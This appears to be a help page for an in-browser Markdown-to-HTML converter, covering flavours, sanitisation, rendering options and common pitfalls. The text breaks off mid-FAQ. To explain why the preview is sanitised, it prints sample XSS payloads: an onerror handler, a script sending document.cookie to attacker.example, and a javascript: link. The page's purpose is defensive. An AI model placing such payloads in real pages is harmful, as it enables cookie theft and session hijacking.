Sanitised previewGFM & CommonMarkHeading anchors

Markdown to HTML Converter

Convert Markdown to HTML and preview it safely: raw HTML in the source is sanitised against an allowlist before it reaches the page. All processing happens locally in your browser.

Markdown rendering

Convert Markdown into HTML, with a safe preview

Markdown permits raw HTML, so the preview is sanitised against an element and attribute allowlist before it reaches the page. The HTML source view shows the parser's unmodified output.

Headings5
Links1
Tables1
Code blocks1
InputMarkdown
OutputSanitised preview

The rendered preview appears here.

Parser options
Tables, task lists, strikethrough and autolinks.

The preview strips scripts, event handlers, javascript: URLs and unknown elements. The copied and downloaded HTML is the parser output, unmodified.

StructureHeading outline
Document heading outline
LevelHeading
H1Release notes
H2Version 2.4.0
H3Breaking changes
H3Task list
H3Comparison
Load sampleLoad a sample

What is Markdown, and which flavour matters here

Markdown converts a small set of plain-text conventions into HTML. # Heading becomes <h1>, **bold** becomes <strong>, and a blank line separates paragraphs.

The complication is that "Markdown" is not one specification. The original 2004 implementation left many cases undefined, so parsers diverged. Two matter today:

Feature CommonMark GitHub Flavored Markdown
Headings, lists, links, emphasis Yes Yes
Fenced code blocks Yes Yes
Tables No Yes
Task lists - [x] No Yes
Strikethrough ~~text~~ No Yes
Autolinked bare URLs No Yes

Both are available here. Switching to CommonMark shows you what a stricter renderer will actually produce — a pipe table becomes a literal line of pipes rather than a table, which is exactly the failure people hit when moving content between platforms.

Why the preview is sanitised

This is the part worth understanding, because it is a genuine security issue rather than a feature.

Markdown allows raw HTML. That is in the specification, not a parser quirk — any HTML you write in a Markdown document is passed through to the output untouched. Which means this is valid Markdown:

Normal paragraph.

<img src="x" onerror="alert(document.cookie)">
<script>fetch('https://attacker.example?c=' + document.cookie)</script>
<a href="javascript:alert(1)">innocent looking link</a>

A Markdown parser will faithfully emit all three. Rendering that output directly into a page executes it.

So the rendered preview on this page is filtered first, against an allowlist:

  • The HTML is parsed with DOMParser, which produces an inert document — no browsing context, so nothing runs and no image loads while it is being inspected.
  • Elements not on the allowlist are removed. Content-bearing ones are unwrapped so their text survives; script, style, iframe, object, embed, form and inline svg are deleted outright.
  • Every attribute not on the allowlist is stripped. That covers all on* handlers, plus style, class and id.
  • href and src values are checked for scheme. Only http, https, mailto, tel, ftp, relative paths and data: image URLs are kept. javascript: is rejected.
  • Any link with target gets rel="noopener noreferrer".

Important distinction: the preview is sanitised. The HTML you copy or download is the parser's unmodified output, because that is what you asked for and stripping it silently would be wrong. If that HTML will be rendered in your own application from untrusted input, sanitise it there too. Enabling a "no HTML" option in your parser, or running the output through a sanitiser server-side, are the usual approaches.

How to use the converter

  1. Paste or type Markdown Both views update as you type. Nothing needs to be submitted.
  2. Switch between preview and source The preview shows the sanitised render. The source view shows the exact HTML the parser produced.
  3. Pick the flavour GFM for GitHub, GitLab and most static site generators. CommonMark to check what a strict renderer will do.
  4. Adjust the two behaviour options Line-break handling and heading anchors both change output meaningfully — see below.

Examples: the two options that surprise people

Single newlines and the breaks option

In standard Markdown, a single newline is not a line break. These two lines become one paragraph:

Markdown:
First line
Second line

Standard HTML output:
<p>First line
Second line</p>        → renders as "First line Second line"

To force a break you need two trailing spaces, or a <br>. That trips people up constantly, because GitHub comment boxes, chat apps and issue trackers all turn single newlines into breaks — a non-standard convenience.

Turning the breaks option on reproduces that behaviour:

With breaks enabled:
<p>First line<br>Second line</p>

Use it when your target is a comment field or chat renderer. Leave it off when the target is a README or a documentation site, since those follow the standard.

Heading anchors

With anchors enabled, headings get an id derived from their text:

## Breaking changes    →    <h2 id="breaking-changes">Breaking changes</h2>

That is what makes #breaking-changes links work. The slug is lowercased, punctuation is removed and spaces become hyphens — the same convention GitHub uses. Note that two identical headings produce two identical ids, which is invalid HTML; GitHub appends -1 in that case, so check for duplicates in long documents.

Markdown gotchas worth knowing

  • Lists need a blank line before them. A list immediately after a paragraph line, with no blank line between, is treated as part of that paragraph by CommonMark.
  • Nested list indentation. CommonMark aligns a nested item with the parent's content, which means two spaces after - or three after 1. . Using one space often fails to nest.
  • Underscores inside words. snake_case_name is safe in GFM, which requires emphasis delimiters at word boundaries. In older parsers it can produce stray italics.
  • Unclosed code fences. A missing closing ``` swallows the rest of the document into a code block. If the preview goes monospaced from a certain point, look for the fence above it.
  • Tables need a delimiter row. The | --- | line is mandatory, and its cell count must match the header row.
  • Numbers restart automatically. Writing 1. three times still renders 1, 2, 3. The list's start value comes from the first number only.
  • Reference definitions can go anywhere. [label]: https://… is collected wherever it appears and never rendered itself.
  • Hard tabs behave inconsistently. A tab counts as four spaces for indentation in CommonMark, which rarely matches what your editor shows.

Use cases

  • Checking a README before pushing. Confirm that tables, task lists and nested lists render the way you intended.
  • Producing HTML for a CMS. Write in Markdown, paste the generated HTML into a field that only accepts HTML.
  • Building an email body. Markdown is far quicker to write than HTML, and the output gives you a starting point for a template.
  • Debugging a rendering difference. When content looks right on GitHub but wrong elsewhere, switching to CommonMark usually reveals which extension the other renderer lacks.
  • Auditing user-supplied Markdown. The raw-HTML warning tells you whether a submission contains anything that needs sanitising in your pipeline.
  • Generating a heading outline. The structure panel lists every heading with its level, which is a quick check that a long document nests sensibly.

The reverse direction is HTML to Markdown. For a side-by-side writing environment, the Markdown Editor is a better fit, and the HTML Validator checks the generated markup.

Privacy

Parsing and sanitising both run in your browser. The Markdown is not uploaded, and no image or link in it is fetched — the preview is built from the sanitised tree without loading external resources beyond what your browser does for a normal image tag. Usage analytics record only the flavour, heading count and whether raw HTML was present.

Frequently Asked Questions

Why does the preview strip things the copied HTML keeps?

Because they are answering different questions. The preview has to be safe to render on this page, so scripts, event handlers and javascript: URLs are removed. The copied HTML is the parser output you asked for, unmodified. If you will render that in your own app from untrusted input, sanitise it there.

Is it really unsafe to render Markdown output directly?

Yes, if the Markdown came from a user. Raw HTML passthrough is part of the Markdown specification, so